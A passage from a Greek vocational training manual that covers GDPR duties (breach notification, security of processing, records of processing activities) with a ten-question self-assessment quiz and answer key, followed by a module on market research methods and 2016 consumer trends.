διαθέσιμα τα προσωπικά δεδομένα για ένα χρονικό διάστημα είναι ένα είδος παραβίασης, καθώς η έλλειψη πρόσβασης στα δεδομένα μπορεί να έχει σημαντικό αντίκτυπο στα δικαιώματα και ελευθερίες των φυσικών προσώπων. ▪ Όταν τα προσωπικά δεδομένα δεν είναι διαθέσιμα λόγω προγραμματισμένης συντήρησης του συστήματος δεν θεωρείται «παραβίαση της ασφάλειας». 4.

Όπως και με μόνιμη απώλεια ή καταστροφή προσωπικών δεδομένων, η παραβίαση

που συνεπάγεται προσωρινή απώλεια διαθεσιμότητας πρέπει να τεκμηριώνεται σύμφωνα με το άρθρο 33 παράγραφος 5.

Αυτό βοηθά τον ΥΕ στην απόδειξη της ευθύνης έναντι της εποπτικής αρχής, η οποία μπορεί να ζητήσει να δει αυτά τα αρχεία. Ανάλογα με τις περιστάσεις της παραβίασης, μπορεί να απαιτηθεί κοινοποίηση στην εποπτική αρχή και επικοινωνία με τα ενδιαφερόμενα άτομα. 5.

Ο ΥΕ θα πρέπει να αξιολογήσει την πιθανότητα και τη σοβαρότητα των επιπτώσεων

στα δικαιώματα και τις ελευθερίες των φυσικών προσώπων ως αποτέλεσμα της έλλειψης διαθεσιμότητας δεδομένων. Σύμφωνα με το άρθρο 33, ο ΥΕ θα πρέπει να ειδοποιήσει, εκτός εάν η παράβαση είναι απίθανο να προκαλέσει κίνδυνο για τα δικαιώματα των ατόμων και τις ελευθερίες. Ασφάλεια της επεξεργασίας ▪ Λαμβάνοντας υπόψη τις τελευταίες εξελίξεις, το κόστος εφαρμογής και τη φύση, το πεδίο εφαρμογής, το πλαίσιο και τους σκοπούς της επεξεργασίας, καθώς και τους κινδύνους διαφορετικής πιθανότητας επέλευσης και σοβαρότητας για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων, ο ΥΕ και ο ΕΕ εφαρμόζουν κατάλληλα τεχνικά και οργανωτικά μέτρα (..) α) της ψευδωνυμοποίησης και της κρυπτογράφησης▪ β) της δυνατότητας διασφάλισης του απορρήτου, της ακεραιότητας, της διαθεσιμότητας και της αξιοπιστίας των συστημάτων και των υπηρεσιών επεξεργασίας σε συνεχή βάση, ▪ γ) της δυνατότητας αποκατάστασης της διαθεσιμότητας και της πρόσβασης σε δεδομένα προσωπικού χαρακτήρα σε εύθετο χρόνο σε περίπτωση φυσικού ή τεχνικού συμβάντος, ▪ δ)

διαδικασίας

για

την

τακτική

δοκιμή,

εκτίμηση

και

αξιολόγηση

της

αποτελεσματικότητας των τεχνικών και των οργανωτικών μέτρων για τη διασφάλιση της ασφάλειας της επεξεργασίας Μάθετε πού βρίσκονται τα προσωπικά δεδομένα στον οργανισμού σας. Προσδιορίστε όλους τους κινδύνους που θα μπορούσαν να προκαλέσουν παραβίαση των προσωπικών σας δεδομένων. Εφαρμόστε τα καταλληλότερα μέτρα (ελέγχους) για να μετριάσετε αυτούς τους κινδύνους. Εφαρμογή των απαραίτητων πολιτικών και διαδικασιών για τη στήριξη των ελέγχων. ▪ Διεξάγετε τακτικές δοκιμές και ελέγχους για να βεβαιωθείτε ότι τα χειριστήρια λειτουργούν όπως προβλέπεται.

Αναθεωρήστε, αναφέρετε και ενημερώστε τα σχέδιά σας τακτικά. ▪ Εφαρμόστε ένα ολοκληρωμένο και αξιόπιστο Σύστημα Ασφαλείας Δεδομένων Μέτρα ασφαλούς επεξεργασίας Υιοθέτηση βέλτιστων πρακτικών για την ασφάλεια των πληροφοριών και τις τρεις βασικές πτυχές ενός ολοκληρωμένου καθεστώτος ασφάλειας πληροφοριών: ανθρώπους, διαδικασίες και τεχνολογία. ▪ Ενδεικτικά: ▪ Cryptographic controls (policy on the use, key management) ▪ Physical Security (perimeter security, entry controls, securing office, protecting against external threats) ▪ Equipment (to prevent loss, damage, theft or compromise of assets)

Αρχείο Δραστηριοτήτων Επεξεργασίας (Data Flow Mapping) Ποιος έχει υποχρέωση να τηρεί Αρχείο Δραστηριοτήτων Επεξεργασίας; Η υποχρέωση βαραίνει οργανισμούς που ενεργούν ως υπεύθυνοι επεξεργασίας ή ως εκτελ ούντες την επεξεργασία. Σε τι βοηθά η τήρηση του Αρχείου Δραστηριοτήτων Επεξεργασίας; Η συμπλήρωση αυτού του Αρχείου εξυπηρετεί πολλαπλούς σκοπούς. Πρώτο, ένας οργανισμός έχει υποχρέωση να θέσει το Αρχείο Δραστηριοτήτων στη διάθεση της Επιτρόπου, αν το ζητήσει. Δεύτερο, βοηθά να απαντηθούν ερωτήματα όπως ποίος είμαι, τι κάνω, πώς το κάνω και γιατί το κάνω. Είναι ένα εργαλείο αυτογνωσίας και αυτό-αξιολόγησης για τη συμμόρφωση με τον Κανονισμό. Τρίτο, βοηθά στην υιοθέτηση της πολιτικής προστασίας της ιδιωτικής ζωής (privacy policy), αν ένας οργανισμός χρειάζεται να διαθέτει τέτοια. Τέταρτο, βοηθά ένα οργανισμό να συμμορφώνεται με τις Αρχές της Λογοδοσίας

Πέμπτο, βοηθά στη διαμόρφωση πολιτικής ή μηχανισμών για την άσκηση των δικαιωμάτων των υποκειμένων των δεδομένων (Άρθρο12(1)). Ποιος πρέπει να συμπληρώσει τον Πίνακα; Όπως αναφέρεται πιο πάνω, την ευθύνη τήρησης του Αρχείου έχουν κατά περίπτωση, ο υπεύθυνος επεξεργασίας και ο εκτελών την επεξεργασία ή οι τυχόν εκτελών την επεξεργασία ή οι τυχόν εκπρόσωποί τους. Ωστόσο, μπορούν να αναθέσουν αυτό το καθήκον σε κάποιο υπάλληλό τους ή σε κάποιο εξωτερικό ειδικό. Τι πληροφορίες πρέπει να τηρούνται στο

Αρχείο

Δραστηριοτήτων

Επεξεργασίας;

Το Αρχείο Δραστηριοτήτων πρέπει να περιλαμβάνει τουλάχιστον τις εξής πληροφορίες: Την περιγραφή της κάθε δραστηριότητας του οργανισμού Αν η δραστηριότητα είναι κύρια ή παρεπόμενη

Τη νομική βάση της επεξεργασίας

Τα στοιχεία του υπεύθυνου ή/και του εκτελών την επεξεργασία Το σκοπό της επεξεργασίας Τις κατηγορίες των υποκειμένων των δεδομένων Τις κατηγορίες των προσωπικών δεδομένων Τις κατηγορίες των αποδεκτών Τη διαβίβαση σε τρίτες χώρα/ διεθνή οργανισμόΤη διαγραφή των δεδομένων Τα τεχνικά και οργανωτικά μέτρα ασφάλειας.

Σύνοψη Εκπαιδευτικής Ενότητας 14 Στην ενότητα 14, παρουσιάστηκαν αντικείμενα που αναφέρονται: Καθήκοντα Προσωπικού Ο Υπεύθυνος Επεξεργασίας Δεδομένων (YE) - Data Controller Ο Εκτελών την επεξεργασία (ΕΕ) - Data Processor Ο Υπεύθυνος Προστασίας Δεδομένων (ΥΠΔ) - Data Protection Officer Λίστα Ελέγχου Παραβίαση (ασφάλειας) Δεδομένων (Data Breach) Παραβίαση διαθεσιμότητας Επεξήγηση αρμοδιοτήτων - καθηκόντων - ευθυνών Προϋποθέσεις διορισμών- Οργανωτική δομή επιχειρήσεων

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 14 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις

ΕΡΩΤΗΣΗ

1

Ο Υπεύθυνος Επεξεργασίας έχει την υποχρέωση να τηρεί τεκμηρίωση

για τη νομιμότητα της επεξεργασίας προσωπικών δεδομένων. ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ποια από τις παρακάτω ευθύνες ανήκουν στον Υπεύθυνο Επεξεργασίας; Α

Παροχή πρόσβασης στα δεδομένα

Β

Καταγραφή δραστηριοτήτων

Γ

Ενημέρωση για παραβιάσεις

Δ

Όλα τα παραπάνω

Ο Εκτελών την Επεξεργασία μπορεί να προσλάβει άλλον εκτελούντα

χωρίς άδεια. ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ποιο από τα παρακάτω προσόντα απαιτείται να έχει ένας Υπεύθυνος

Προστασίας Δεδομένων (DPO); ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

Νομική γνώση

Β

Πείρα σε θέματα προσωπικών δεδομένων

Γ

Εξειδίκευση στην πληροφορική

Δ

Όλα τα παραπάνω

Η Εκτίμηση Αντικτύπου (ΕΑΠΔ) πραγματοποιείται μετά την έναρξη της

επεξεργασίας. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

ΑΠΑΝΤΗΣΗ 6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ποιος είναι υπεύθυνος για τη διενέργεια της Εκτίμησης Αντικτύπου; Α

Η εποπτική Αρχή

Β

Ο Εκτελών την Επεξεργασία

Γ

Ο Υπεύθυνος Επεξεργασίας

Δ

Το Τμήμα Πληροφορικής

ΕΡΩΤΗΣΗ

7

Ο Υπεύθυνος Προστασίας Δεδομένων (DPO) επιβάλλει κυρώσεις για

παραβιάσεις του Κανονισμού. ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

ΑΠΑΝΤΗΣΗ 8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Πότε είναι υποχρεωτικός ο διορισμός ΥΠΔ (DPO); Α

Όταν απαιτείται από το εθνικό δίκαιο

Β

Όταν υπάρχει επεξεργασία ευαίσθητων δεδομένων σε μεγάλη

Γ

Όταν υπάρχει τακτική και συστηματική παρακολούθηση

Δ

Όλα τα παραπάνω

κλίμακα

ΕΡΩΤΗΣΗ

9

Ο ΥΠΔ μπορεί να έχει και άλλα καθήκοντα αρκεί να μην υπάρχει

σύγκρουση συμφερόντων. ΑΠΑΝΤΗΣΗ 9

ΕΡΩΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ποιο από τα παρακάτω περιλαμβάνεται στις υποχρεώσεις του ΥΕ κατά

τον σχεδιασμό; ΑΠΑΝΤΗΣΗ 10

Α

Ψευδωνυμοποίηση

Β

Ελαχιστοποίηση δεδομένων

Γ

Καθορισμός διάρκειας επεξεργασίας

Δ

Όλα τα παραπάνω

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 14 1:

Απάντηση 1. Α

2:

Απάντηση 2. Δ

3:

Απάντηση 3. Β

4:

Απάντηση 4. Δ

5:

Απάντηση 5. Β

6:

Απάντηση 6. Γ

7:

Απάντηση 7. Β

8:

Απάντηση 8. Δ

9:

Απάντηση 9. Α

10:

Απάντηση 10. Δ

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 15: Έρευνα αγοράς Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν την διαδικασίας της έρευνας αγοράς. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Τάσεις Αγοράς Στάδια Έρευνας αγοράς Τύποι της Έρευνας Αγοράς Είδη της Έρευνας Αγοράς Σύστημα υποστήριξης αποφάσεων μάρκετινγκ Σύστημα Πληροφοριών της Ευρωπαϊκής Ένωσης Στατιστική Έρευνα και Εφαρμογές Τα στάδια της Στατιστικής Έρευνας και ο ρόλος τους ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Changemakers, Market research, qualitative research, focus groups, quantitative research. Έρευνα αγοράς (Market research) Προσπάθεια συλλογής πληροφοριών Έρευνα αγοράς θεωρείται κάθε οργανωμένη προσπάθεια συλλογής πληροφοριών σχετικά με την αγορά και τους καταναλωτές. Η έρευνα αγοράς μελετά τις καταναλωτικές συνήθειες σε συγκεκριμένες ομάδες πληθυσμού, αναγνωρίζει τυχών ανεκπλήρωτες ανάγκες επίσης δημιουργεί και νέες ανάγκες και σκοπό έχει τη συλλογή και επεξεργασία πληροφοριών που σχετίζονται με τις ανάγκες μιας συγκεκριμένης αγοράς-στόχου, το μέγεθος της, αλλά και τις ανταγωνιστικές επιχειρήσεις που υπάρχουν σε μια αγορά. Επιχειρηματική στρατηγική Η έρευνα αγοράς είναι αναπόσπαστο κομμάτι της επιχειρηματικής στρατηγικής, καθώς με τη βοήθεια της έρευνας τα στελέχη μιας επιχείρησης μπορούν να βασιστούν σε αυτήν και να επιλύσουν σημαντικά στρατηγικά προβλήματα. Η έννοια της έρευνας αγοράς Η έννοια της έρευνας αγοράς συχνά συγχέεται με αυτή της έρευνας μάρκετινγκ, όμως οι ειδήμονες προσπαθούν να ξεχωρίσουν τους δύο όρους. Η έρευνα μάρκετινγκ αφορά κυρίως τις διαδικασίες μάρκετινγκ, ενώ η έρευνα αγοράς είναι η μελέτη των αγορών.

Εκπαιδευτική Υποενότητα 15.1 Διαδικασία της Έρευνας Αγοράς Στάδια Έρευνας αγοράς Μία έρευνα αγοράς αποτελείται από τα παρακάτω έξι στάδια: 1. Αναγνώριση-Διατύπωση του προβλήματος. Μέσω της σωστής κατανόησης και μελέτης του περιβάλλοντος και των πρωτογενών και δευτερογενών στοιχείων η επιχείρηση ορίζει το πρόβλημα και να προχωράει στο σχεδιασμό και την υλοποίηση της έρευνας. 2. Ανάπτυξη αποτελεσματικής προσέγγισης. Εντοπισμός των μεταβλητών που επηρεάζουν την έρευνα(π.χ. δημογραφικά χαρακτηριστικά των ερωτώμενων, πιθανοί τρόποι προσέγγισής τους). 3. Επιλογή και Σχεδιασμός κατάλληλης ερευνητικής μεθόδου. Λεπτομερής καταγραφή των διαδικασιών που απαιτούνται για τη διεξαγωγή της έρευνας. 4. Συλλογή δεδομένων. Ο ερευνητής μαζεύει όλα τα δευτερογενή στοιχεία που υπάρχουν για τη συγκεκριμένη έρευνα, δηλαδή στοιχεία που έχουν συλλεχθεί από άλλους ερευνητές για άλλες έρευνες. Στη συνέχεια συλλέγει πρωτογενή στοιχεία, τα οποία θα συλλεχθούν για πρώτη φορά από τον συγκεκριμένο ερευνητή και για τη συγκεκριμένη έρευνα. Επίσης σε αυτό το στάδιο θα επιλέξει τους ερωτώμενους που θα απευθυνθεί για τη συλλογή αυτών των δεδομένων. 5. Ανάλυση των δεδομένων. Καταγραφή, κωδικοποίηση και επαλήθευση των στοιχείων που συλλέχθηκαν. 6. Σύνθεση της αναφοράς και παρουσίαση των αποτελεσμάτων. Ο σχεδιασμός της ερευνητικής μεθόδου που επιλέχθηκε, τα στοιχεία που συλλέχθηκαν, καθώς και η ανάλυσή τους συμπεριλαμβάνονται σε μία γραπτή αναφορά. Ο ερευνητής είναι υποχρεωμένος να παρουσιάσει και προφορικά τα ευρήματα της έρευνας του, ώστε να γίνουν απολύτως κατανοητά τα αποτελέσματα στα οποία κατέληξε. Τύποι της Έρευνας Αγοράς Τα είδη της έρευνας αγοράς είναι τρία και καθορίζονται από τη φύση του προβλήματος που η επιχείρηση επιθυμεί να επιλύσει. 1)

Περιγραφική Έρευνα: Η έρευνα αυτή περιγράφει τα χαρακτηριστικά ενός

πληθυσμού, απαντώντας στις ερωτήσεις "ποιος", "πού", "πότε", "τι" και "πώς". Χρησιμοποιείται όταν οι στόχοι και οι ερωτήσεις της έρευνας έχουν ορισθεί ξεκάθαρα και απαιτούνται περιληπτικές μετρήσεις προκειμένου να απαντηθούν οι ερωτήσεις της έρευνας. 2)

Αιτιολογική Έρευνα: Στην αιτιολογική μελέτη ερευνάται η σχέση αιτίας-αιτιατού,

δηλαδή εξετάζεται αν μία μεταβλητή αιτιολογεί την αξία μιας άλλης μεταβλητής.

3)

Εξερευνητική Έρευνα: Μέσα από αυτή την έρευνα εξερευνούνται προβλήματα, τα

οποία δεν είναι γνωστά στην επιχείρηση και βοηθούν στον εντοπισμό λεπτομερειών σχετικά με κάποιο πρόβλημα.

Είδη της Έρευνας Αγοράς Συλλογή των δεδομένων Η συλλογή των δεδομένων στη διαδικασία της έρευνας αγοράς πραγματοποιείται με τρεις τρόπους: την ποιοτική, την ποσοτική και την μικτή. Ποιοτική Έρευνα (qualitative research) Η έρευνα αυτή χρησιμοποιείται για τη συλλογή στοιχείων που δεν μπορούν να παρατηρηθούν και να μετρηθούν άμεσα. Πιο συγκεκριμένα διερευνά σε βάθος τις αντιλήψεις, τα κίνητρα, τα συναισθήματα και τις αντιδράσεις των καταναλωτών απέναντι σε προϊόντα ή υπηρεσίες, αλλά και τα βαθύτερα αίτια που τους οδηγούν σε αυτές τις συμπεριφορές. Οι μέθοδοι της ποιοτικής έρευνας είναι οι εξής: 1)

Ομάδες εστίασης (focus groups). Μια ομάδα εστίασης αποτελείται από 7-10 άτομα

περίπου, τα οποία παρουσιάζουν κοινά χαρακτηριστικά σχετικά με το θέμα που θα συζητηθεί, αλλά δεν γνωρίζονται μεταξύ τους. Ένας συντονιστής χρησιμοποιεί την ομάδα ώστε να αντλήσει πληροφορίες. 2)

Σε βάθος συνεντεύξεις. Συνέντευξη θεωρείται η διαδικασία κατά την οποία ο

ερευνητής συζητά με έναν ερωτώμενο προκειμένου να αντλήσει πληροφορίες για τις σκέψεις, τις απόψεις και τις εμπειρίες του ερωτώμενου στο σχετικό θέμα. Ο ερευνητής έχει τον έλεγχο της διαδικασίας. 3)

Προβολικές τεχνικές. Οι τεχνικές αυτές φέρνουν στην επιφάνεια συναισθήματα και

σκέψεις του ερωτώμενου που δεν θα εμφανίζονταν με άλλες μεθόδους, καθώς δρουν στο υποσυνείδητό του. 4)

Τεχνικές παρατήρησης. Σε αυτές τις τεχνικές ο ερευνητής στηρίζεται στην

παρατήρηση και όχι στην επικοινωνία με άλλα άτομα για να συλλέξει πληροφορίες και να αναλύσει τις συμπεριφορές τους.

Ποσοτική Έρευνα (quantitative research) Η έρευνα αυτή χρησιμοποιείται όταν οι πληροφορίες που αναζητούνται είναι ακριβείς και συγκεκριμένες. Τα ποσοτικά δεδομένα μπορούν να χρησιμοποιηθούν για στατιστικές αναλύσεις οδηγώντας σε αξιόπιστα αποτελέσματα, αλλά για να συμβεί αυτό χρειάζεται το δείγμα που θα επιλεχθεί να είναι αντιπροσωπευτικό.

Διανομή ερωτηματολογίων ποσοτικής έρευνας Η ποσοτική έρευνα βασίζεται στο σχεδιασμό ενός ερωτηματολογίου, δηλαδή μιας ομάδας τυποποιημένων ερωτήσεων για τη συλλογή συγκεκριμένων πληροφοριών. Τα ερωτηματολόγια διανέμονται στους ερωτώμενους με τους εξής τρόπους: 1)

Προσωπική μέθοδος. Ο ερευνητής έρχεται ο ίδιος σε επαφή με τον ερωτώμενο, του

δίνει το ερωτηματολόγιο και είτε το συμπληρώνει μόνος του είτε ο ερευνητής γράφει τις απαντήσεις του. Η διεξαγωγή αυτής της μεθόδου είναι πιθανό να γίνει με προσωπική συνέντευξη στα σπίτια των ερωτώμενων, με συνέντευξη σε κεντρικά σημεία ή στο δρόμο ή ακόμη και στο χώρο εργασίας τους. 2)

Τηλεφωνική μέθοδος. Το ερωτηματολόγιο συμπληρώνεται μέσω τηλεφώνου, καθώς

ο ερευνητής τηλεφωνεί στον ερωτώμενο και του απευθύνει συγκεκριμένες ερωτήσεις. 3)

Ταχυδρομική μέθοδος. Το ερωτηματολόγιο αποστέλλεται στο σπίτι του ερωτώμενου

προκειμένου να το συμπληρώσει μόνος του σε όσο χρόνο θέλει και να το στείλει πίσω στην επιχείρηση. 4)

Έρευνα μέσω διαδικτύου. Το ερωτηματολόγιο, καθώς και οι οδηγίες εκπόνησης του

βρίσκονται στο διαδίκτυο και ο ερωτώμενος καλείται να το συμπληρώσει ηλεκτρονικά και να το στείλει στον ερευνητή. Μικτή Έρευνα Η έρευνα αυτή θεωρείται ο συνδυασμός της ποιοτικής και της ποσοτικής έρευνας. Κατά την μικτή έρευνα ο ερευνητής συλλέγει αρχικά ποιοτικά στοιχεία με μία από τις μεθόδους που παρουσιάστηκαν παραπάνω και στη συνέχεια με τη διεξαγωγή ενός ερωτηματολογίου προσπαθεί να αναλύσει ποσοτικά δεδομένα. Προτεραιότητα ποσοτικής έρευνας Επίσης είναι πιθανό η ποσοτική έρευνα να προηγείται της ποιοτικής. Σε αυτή την περίπτωση ο ερευνητής, αφού έχει συλλέξει ποσοτικά στοιχεία προκειμένου να αποσαφηνίσει τα αποτελέσματα στα οποία κατέληξε, πραγματοποιεί και μία από τις μεθόδους ποιοτικής έρευνας.

Τάσεις Αγοράς Παγκόσμιες Καταναλωτικές Τάσεις: Τι ζητούν οι καταναλωτές και τι μπορούμε να τους προσφέρουμε Το «δημιούργημά»

Όποιος βγάζει στην αγορά ένα προϊόν/υπηρεσία, ανεξάρτητα από τον κλάδο στον οποίο ανήκει, θέλει το «δημιούργημά» του να γίνει αγαπητό, να το εκτιμήσει ο κόσμος, και τελικά να το αγοράσει. Κοινωνικά όντα Κι αυτό είναι φυσιολογικό και λογικό γιατί όλοι μας ζούμε μέσα σε μια κοινωνία, είμαστε κοινωνικά όντα, θέλουμε να μοιραζόμαστε με τους υπόλοιπους ανθρώπους τη δουλειά μας και αυτή να γίνεται αποδεκτή για να νιώθουμε τελικά ικανοποιημένοι και ψυχικά αλλά και υλικά. Σύγχρονα εργαλεία Στην προσπάθειά μας να κάνουμε το προϊόν/υπηρεσία μας γνωστό, χρησιμοποιούμε διάφορα σύγχρονα εργαλεία όπως πχ. το digital marketing, καθώς και τα δεδομένα που συλλέγουμε από την αγορά σχετικά με τις προτιμήσεις των ανθρώπων, τα θέλω τους, τις ανάγκες τους και τα προβλήματά τους. Οικονομικο-κοινωνικές κρίσεις Η «μαγκιά», είναι να «ακούς» τους ανθρώπους, να τους κατανοείς και να ανακαλύπτεις πριν από τους ίδιους τις ανάγκες τους και έτσι να τους προσφέρεις λύσεις που τους βοηθούν, τους υποστηρίζουν, τους κάνουν τη ζωή πιο εύκολη αλλά και πιο ποιοτική. Και οι λύσεις αυτές, προσθέτω εγώ, θα πρέπει να λαμβάνουν υπόψη τους και τα μεγάλα προβλήματα που αντιμετωπίζει στο σύνολό της η ανθρωπότητα όπως η καταστροφή του φυσικού περιβάλλοντος αλλά και οι οικονομικο-κοινωνικές κρίσεις. Βοήθεια των δεδομένων Και γι' αυτό χρειαζόμαστε και τη βοήθεια των δεδομένων και των τάσεων που καταγράφονται και δημοσιοποιούνται από διάφορες εταιρείες που διεξάγουν έρευνες αγοράς. Μια τέτοια έρευνα εκπονήθηκε από την εταιρεία Euromonitor International, την οποία θεωρώ και αρκετά αξιόπιστη, με τίτλο: «Top 10 Global Consumer Trends for 2016». Στοχευμένες αποφάσεις Τη διάβασα λοιπόν και σας μεταφέρω περιληπτικά τις δέκα (10) αυτές τάσεις που καλό είναι να τις λάβουμε υπόψη μας, γιατί εκτός του feeling που έχουμε για μια ιδέα μας και εκτός των βιωματικών μας γνώσεων, χρειαζόμαστε και στοιχεία τα οποία μας πληροφορούν και μας βοηθούν

να

πάρουμε

πιο

στοχευμένες

αποφάσεις.

Καταναλωτής Ιδού ένα απο τά 10 top καταναλωτικά trends: 1)

Πρόκειται για έναν άνθρωπου που έχει χτυπηθεί από την οικονομική κρίση, είναι

πολύ καλά ενημερωμένος, χρησιμοποιεί όλα τα μέσα που του δίνονται για να συγκρίνει τιμές

και δεν νοιάζεται τόσο πολύ για τις ετικέτες και τα «γνωστά» brands. Νοιάζεται για την αξία ενός προϊόντος/υπηρεσίας, όχι όμως πάντα σε επίπεδο τιμής. 2)

Ψάχνει τις ευκαιρίες αλλά παράλληλα απαιτεί και την ποιότητα. Είναι προσεκτικός

για το πώς ξοδεύει τα χρήματά του, όμως διασκεδάζει με το να αγοράζει προϊόντα που τον εμπνέουν. Λατρεύει να ανακαλύπτει άγνωστα αλλά ποιοτικά προϊόντα, να ανακαλύπτει brands τα οποία δε διαφημίζονται. 3)

Θέλει μέσα από τις επιλογές του να αισθάνεται ότι ανήκει σε κάτι μεγαλύτερο από

τον ίδιο. Θέλει προϊόντα προηγμένα, που παράγονται αειφορικά σεβόμενα το περιβάλλον, με κάποια έκπτωση, ενώ παράλληλα είναι και στυλάτα και παράγονται και τοπικά. Τάση Νο 2: Χρόνος Αγοράς Πολλές φορές το να κερδίσεις χρόνο συνδέεται άμεσα με το να αγοράσεις χρόνο. 1)

Οι καταναλωτές προσπαθούν να κάνουν outsourcing διάφορες πτυχές της

καθημερινής τους ζωής ώστε να έχουν ποιοτικό ελεύθερο χρόνο. Επίσης, αγοράζουν από τα καταστήματα της γειτονιάς τους ή κάνουν αγορές online για τον ίδιο λόγο. 2)

Το 68% των Νοτιοκορεατών και το 59% των Κινέζων θεωρούν ότι η ποιότητα ζωής

συνδέεται με το πόσο ελεύθερο χρόνο έχει κάποιος και όχι με την αγοραστική του δύναμη. Έτσι, χρησιμοποιούν εφαρμογές όπως το HotelByDay, αγοράζουν προηγμένες συσκευές που τους επιτρέπουν να κάνουν τις δουλειές τους πιο γρήγορα, και επιλέγουν να αγοράσουν τις λεγόμενες «life-arrangers» υπηρεσίες μέσω διαδικτύου για να κάνει κάποιος άλλος τις δουλειές του σπιτιού για αυτούς ή να πάρει κάποιος άλλος τα παιδιά τους από το σχολείο. 3)

Επίσης κάνουν χρήση του SaaS-Software as a Service «Sincola» για να ενημερώνονται

με sms ώστε να αποφύγουν τις ουρές. Τέλος, ο σύγχρονος καταναλωτής ζητάει 24/7 εξυπηρέτηση από τις εταιρείες ώστε να λύνει τα προβλήματά του γρήγορα και άμεσα. 4)

Και επειδή λόγω έλλειψης χρόνου οι άνθρωποι κοιμούνται λιγότερο τα τελευταία

χρόνια, αγοράζουν προϊόντα σαν το «NightMilk», το οποίο είναι γάλα που το αρμέγουν βράδυ για να περιέχει περισσότερες ορμόνες ύπνου, όπως η μελατονίνη. Τάση Νο 3: Γήρανση του Πληθυσμού Οι καταναλωτές που ανήκουν στην ώριμη ηλικία αποτελούν μία τεράστια αγορά αν και η αγοραστική τους δύναμη ποικίλει. 1)

Αναμένεται ο πληθυσμός των ανθρώπων ηλικίας 65+ να αγγίξει τα 626 εκατομμύρια

σε παγκόσμιο επίπεδο. Αυτοί οι άνθρωποι είναι πλέον ιδιαίτερα ενεργητικοί, δουλεύουν, ταξιδεύουν και ενδιαφέρονται για την ευεξία τους. 2)

Αγοράζουν υπηρεσίας υγείας, μετακινούνται σε περιοχές ή/και άλλες χώρες όπου

μπορούν να ζήσουν πιο άνετα με τα λεφτά που διαθέτουν, αγοράζουν συσκευές προηγμένης

τεχνολογίας. Επιλέγουν να κάνουν ταξίδια του σαββατοκύριακου ή κρουαζιέρες, και αυτοί που έχουν χρήματα, αρέσκονται να αγοράζουν ακριβά ρούχα. 3)

Για αυτό άλλωστε και πολλές εταιρείες άρχισαν να χρησιμοποιούν για μοντέλα

ώριμες κυρίες ή/και κυρίους. Χρησιμοποιούν τη σύγχρονη τεχνολογία για να βρίσκονται σε επαφή με τα παιδιά και τα εγγόνια τους, να παρακολουθούν την κατάσταση της υγείας τους, να ενημερώνονται από διάφορα websites, να έχουν εκπτώσεις στις αγορές τους αν χρησιμοποιούν τα social media και για να παίζουν παιχνίδια τα οποία θεωρούνται «mental gymnasiums». 4)

Τα ρομπότ που λειτουργούν ως caregivers θα παρουσιάσουν άνθιση. 1000 κομμάτια

του ρομπότ «Pepper» πουλήθηκαν την πρώτη κιόλας μέρα της εισαγωγής του στην αγορά της Ιαπωνίας. Τάση Νο 4: Οι Changemakers Σήμερα, περισσότερο από ποτέ, οι καταναλωτές είναι ιδιαίτερα ευαισθητοποιημένοι σε θέματα που αφορούν την προστασία των φυσικών πόρων καθώς και σε θέματα που αφορούν την παροχή βοήθειας σε ευάλωτες κοινωνικά ομάδες. Οι Millennials έχουν μία ισχυρή θέληση να διορθώσουν τα κακώς κείμενα των προηγούμενων γενεών. Οι Millennials έχουν μία ισχυρή θέληση να διορθώσουν τα κακώς κείμενα των προηγούμενων γενεών. 1)

Δημιουργούνται εταιρείες οι οποίες θέλουν να συμβάλλουν σε θετικές κοινωνικο-

οικονομικές αλλαγές και διαμορφώνουν τα επιχειρηματικά τους μοντέλα αντίστοιχα. Ένα website στην Ολλανδία βοηθάει τους μετανάστες να βρουν στέγη. 2)

Η Change.org με 135 εκατομμύρια συνδρομητές από 196 χώρες του κόσμου,

αναπτύσσει καμπάνιες, κινητοποιεί ανθρώπους και συνεργάζεται με εκείνους που παίρνουν αποφάσεις για να βρεθούν αποτελεσματικές λύσεις σε παγκόσμια προβλήματα. Αυτή η τάση έχει επηρεάσει και τα Μαζικά Μέσα Ενημέρωσης, δημιουργώντας αυτό που ονομάζεται «Solution Journalism». Μικρές δωρεές λίγων χρημάτων κάνουν τη διαφορά σε αντίθεση με τις μεγάλες φιλανθρωπίες. 3)

Οι άνθρωποι πλέον νοιάζονται και το εκδηλώνουν με κάθε τρόπο αξιοποιώντας τη

σύγχρονη τεχνολογία. Το «Sharing Economy» θα συνεχίσει να εξαπλώνεται όπως και η «Κοινωνική Οικονομία» (προσθέτω...) Οι εταιρείες δημιουργούν κοινότητες και τα προϊόντα τους λειτουργούν υποστηρικτικά στον σκοπό τους. Τάση Νο 5: Gender Blurring (Η «Θολούρα» των Φύλων) Πολλοί άνθρωποι πλέον αλλάζουν φύλο. Οι ομοφυλοφιλικές σχέσεις γίνονται όλο και περισσότερο αποδεκτές σε παγκόσμιο επίπεδο. Το να είσαι γυναίκα με ανδρικές

